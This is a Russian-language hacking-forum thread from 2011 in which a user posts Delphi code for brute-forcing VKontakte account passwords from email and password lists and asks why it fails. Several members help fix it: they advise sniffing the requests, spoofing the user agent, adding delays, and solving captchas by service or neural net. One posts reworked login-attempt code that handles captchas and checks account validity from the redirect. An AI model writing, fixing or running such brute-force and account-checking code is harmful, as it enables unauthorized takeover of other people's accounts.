Брут для Вконтакте в делфи. Не могу разобратся где ошибка, помогите, очень нужно

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Vasa211, 17 Aug 2011.

  1. Vasa211

    Vasa211 Banned

    Joined:
    14 Aug 2011
    Messages:
    29
    Likes Received:
    0
    Reputations:
    0
    Вот весь исходный код.

    А вот в чем проблема:
    Всегда погазывает что пароль не правильный


    PHP:

    unit Unit1
    ;

    interface

    uses
      Windows
    MessagesSysUtilsVariantsClassesGraphicsControlsForms,
      
    DialogsStdCtrlsIdBaseComponentIdComponentIdTCPConnection,
      
    IdTCPClientIdHTTP;

    type
      TForm1 
    = class(TForm)
        
    Button1TButton;
        
    Label1TLabel;
        
    Edit1TEdit;
        
    OpenDialog1TOpenDialog;
        
    OpenDialog2TOpenDialog;
        
    Edit2TEdit;
        
    Label2TLabel;
        
    Button2TButton;
        
    Label3TLabel;
        
    Label4TLabel;
        
    Button3TButton;
        
    Edit3TEdit;
        
    Edit4TEdit;
        
    Label5TLabel;
        
    Label6TLabel;
        
    IdHTTP1TIdHTTP;
        
    procedure Button1Click(SenderTObject);
        
    procedure Button2Click(SenderTObject);
        
    procedure Button3Click(SenderTObject);
      private
        { Private 
    declarations }
      public
        { Public 
    declarations }
      
    end;

    var
      
    emails:TStringList;  // список мыл
      
    pass:TStringList;    // список паролей
      
    post:TStringList;    // список полей пост запроса
      
    i,j:integer;          // счетчики циклов
      
    httpTidHTTP ;
      
    result:String;
      
    Form1TForm1;

    implementation

    {$R *.dfm}

    procedure TForm1.Button1Click(SenderTObject);
    begin
    if opendialog1.Execute then
    edit1
    .Visible:=true;
    Edit1.text:=( opendialog1.FileName);

    Button1.Enabled:=false;
    Button2.Enabled:=true;
    end;

    procedure TForm1.Button2Click(SenderTObject);
    begin
    if opendialog2.Execute then
    edit2
    .Visible:=true;
    Edit2.text:=( opendialog2.FileName);
    Button3.Enabled:=true;
    Button2.Enabled:=false;
    end;

    procedure TForm1.Button3Click(SenderTObject);

    begin
      emails
    :=TStringList.Createpass:=TStringList.Create;  // Инициализируем переменные
          
    emails.Add('мой@mail.com');
          
    pass.Add('пароль');
      
    http:=TidHTTP.Create(nil);      // создаем HTTPClient
      
    http.HandleRedirects:=true;   // это необходимо
      
    post:=tstringlist.Create;           // этот стринг лист содержит поля e-mail и пароль
      
    for i:=0 to emails.Count-do begin   // перебираем в цикле мыльники
        
    post.Clear;    // отчищаем
        
    post.Add('email='+emails.Strings[i]);    // указываем e-mail
        
    for j:=0 to pass.Count-do begin         // перебираем пароли для выбранного мыльника
          
    post.Add('pass='+pass.Strings[j]);       // указываем пароль
          
    result:=http.Post('http://vkontakte.ru/login.php',post);  // посылаем запрос
          
    if pos('logout',result)>0 then  // проверяем ответ
           
    begin
    showmessage 
    ('Пароль подобрали');
          
    end
          
    else
    showmessage ('Пароль не подобрали');
        
    end;
      
    end;
     
      
    // освободим переменные
      
    emails.Free;
      
    pass.Free;
      
    http.Free;
      
    post.Free;
    end;

    end.

     
  2. fuckyoupig

    fuckyoupig Member

    Joined:
    1 Mar 2011
    Messages:
    0
    Likes Received:
    11
    Reputations:
    2
    Больше на капчу потратишь.
    p.s. код ужасен)
     
  3. shadowrun

    shadowrun Banned

    Joined:
    29 Aug 2010
    Messages:
    842
    Likes Received:
    170
    Reputations:
    84
    Чет мне подсказывает, что у вас запрос - фуфло, как и код. Возьмите ка вы сниферец да проснифте запросы. И юзерагент нужно указать актуальный...
     
  4. greki_hoy

    greki_hoy Member

    Joined:
    4 Mar 2010
    Messages:
    326
    Likes Received:
    57
    Reputations:
    41
    http:=TidHTTP.Create(nil); // создаем HTTPClient
    комментарий жгет :))
    http.HandleRedirects:=true; // это необходимо
    а этот комментарий еще больше доставляет :))

    нельзя писать такие комментарии
    1 первый ) повторяет очевидное
    2 второй ) смысл знает только автор (тогда зачем он?)
     
    1 person likes this.
  5. Kandi

    Kandi Member

    Joined:
    18 Nov 2009
    Messages:
    344
    Likes Received:
    17
    Reputations:
    0
    ахахахах :D
    там к статей редирект не нужен имхо надо ручками обрабатывать редирект.. ну снифером глянуть, там пару запросов надо отправить, и к статей как не странно я как-то давно с родного IP чеккал акки на потоках, ни одной капчи не вылетело хз почему)!
     
  6. NetSter

    NetSter Moderator

    Joined:
    30 Jul 2007
    Messages:
    810
    Likes Received:
    414
    Reputations:
    62
    автор вк не актуален...
     
    _________________________
  7. Vasa211

    Vasa211 Banned

    Joined:
    14 Aug 2011
    Messages:
    29
    Likes Received:
    0
    Reputations:
    0
    Помогите с прогрой плз, очень надо, я еще только учусь работать с делфи, пишу что знаю.
    P.S. нащет капчи то ничего страшного, будет стоять антигейт, или самому вводить
     
  8. GoodGoogle

    GoodGoogle Moderator

    Joined:
    5 Aug 2011
    Messages:
    1,160
    Likes Received:
    366
    Reputations:
    226
    Пока будешь вводить с ума сойдешь
     
  9. Voland-791

    Voland-791 Member

    Joined:
    1 May 2009
    Messages:
    163
    Likes Received:
    13
    Reputations:
    5
    Не помешало бы еще после post поставить примерно: Sleep(600);
     
  10. Amur[чик]

    Amur[чик] New Member

    Joined:
    11 May 2011
    Messages:
    25
    Likes Received:
    1
    Reputations:
    -5
    насчет капчи отличный выход из ситуации это неиро-сети, как то делал хорошоя штука только сложно научить, а так только в путь (у меня не получилось научить=( пока забил на нее) в сети примеров много с неиросетями !
     
  11. Vasa211

    Vasa211 Banned

    Joined:
    14 Aug 2011
    Messages:
    29
    Likes Received:
    0
    Reputations:
    0
    А ктонибуть может объяснить что такое сокеты, так говорили что проще, но я не могу их норм понять, было б хорошо привести пример этого кода но с использыванием сокетов
     
  12. shadowrun

    shadowrun Banned

    Joined:
    29 Aug 2010
    Messages:
    842
    Likes Received:
    170
    Reputations:
    84
    Програмный интерфейс для обмена данными между процессами. Делится на клиент и сервер. В Delphi есть полноценная инкапсуляция клиентского и серверного сокетов, представленная компонентами TClientSocket и TServerSocket, находящимися на закладке Internet. Также эта непонятная хрень можеть быть представлена в виде пары значений АЙПИАДРЕС:ПОРТ.
     
  13. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,168
    Likes Received:
    450
    Reputations:
    288
    не думаю что кто то проявит желание запилить тебе код,там сложного нету,поработай со сниффером.
     
  14. 1n0y

    1n0y Active Member

    Joined:
    9 May 2009
    Messages:
    276
    Likes Received:
    282
    Reputations:
    2
    Code:
     
    var
    post:tstringlist;
    c,sid,cap:string;
    http:tidhttp;
    begin
     http:=tidhttp.Create;
     http.HandleRedirects:=false;
     http.AllowCookies:=false;
     post := Tstringlist.Create;
     post.add ('op=a_login_attempt');
     try
      c:=http.post ('http://vk.com/login.php', post);
     except  end;
     while ansipos('captcha_sid',c) <>0 do // капча
      begin
       sid:=copy(c, pos('sid":"',c)+6, 14);
       delete(sid, pos('"',sid), length(sid));
       
        cap:=разгадываешь капчу(sid);
    	
       post.Clear;
       post.add ('op=a_login_attempt');
       post.add ('captcha_sid='+sid);
       post.add ('captcha_key='+cap);
       try
        c:=http.post ('http://vk.com/login.php', post);
       except end;
      end;
      post.Clear;
      try
       c := http.get ('http://login.vk.com/?act=login&email='+логин+'&pass=' + urlencode(пароль)+'&expire=&vk=1');
      except end;
      if pos('login.php?m=1&email=',http.Response.Location)<>0 then
        // акк невалидный.
      else
        // пароль подошел, но валидный ли акк - еще нужно проверять. он может быть заблокирован или случится проверка безопастности.
     http.free;
     post.free;
    end;
    
    примерно так.
     
  15. HackingAll

    HackingAll Banned

    Joined:
    16 May 2011
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    Vasa211, С циклом неправильно, жирным выделил как надо.
    Со второго цикла у тебя по нескольку паролей отсылалось одновременно. Ну и с вк все не так просто, надо еще редирект обработать или через Twebbrowser посылай , там javascript обрабатывается хотябы)

     
  16. Vasa211

    Vasa211 Banned

    Joined:
    14 Aug 2011
    Messages:
    29
    Likes Received:
    0
    Reputations:
    0
    HackingAll, всеравно не работает, всегда пишет "Пароль не подобрали".
    Гдето в другом месте ошибка, но я не могу ее найти, вроде все правильно. Помогите найти ошибку.

    1n0y, ничего не могу понять в коде, откуда прать логин и пароль?
    c := http.get ('http://login.vk.com/?act=login&email='+логин+'&pass=' + urlencode(пароль)+'&expire=&vk=1');
    в строчке выше откуда берется "+логин+" и "+ urlencode(пароль)+" я так понял что тут должны быть какието переменные.
    Опиши по подробней пожалуйта.
     
  17. Anifuck

    Anifuck Member

    Joined:
    12 Nov 2010
    Messages:
    78
    Likes Received:
    7
    Reputations:
    0
    facepalm
     
  18. Vasa211

    Vasa211 Banned

    Joined:
    14 Aug 2011
    Messages:
    29
    Likes Received:
    0
    Reputations:
    0
    что это означает?
     
  19. 1n0y

    1n0y Active Member

    Joined:
    9 May 2009
    Messages:
    276
    Likes Received:
    282
    Reputations:
    2
    да, там должны быть какие-то переменные. например login,pasw:string;
    выбор за тобой.
     
  20. greki_hoy

    greki_hoy Member

    Joined:
    4 Mar 2010
    Messages:
    326
    Likes Received:
    57
    Reputations:
    41
    "ёбаный стыд..."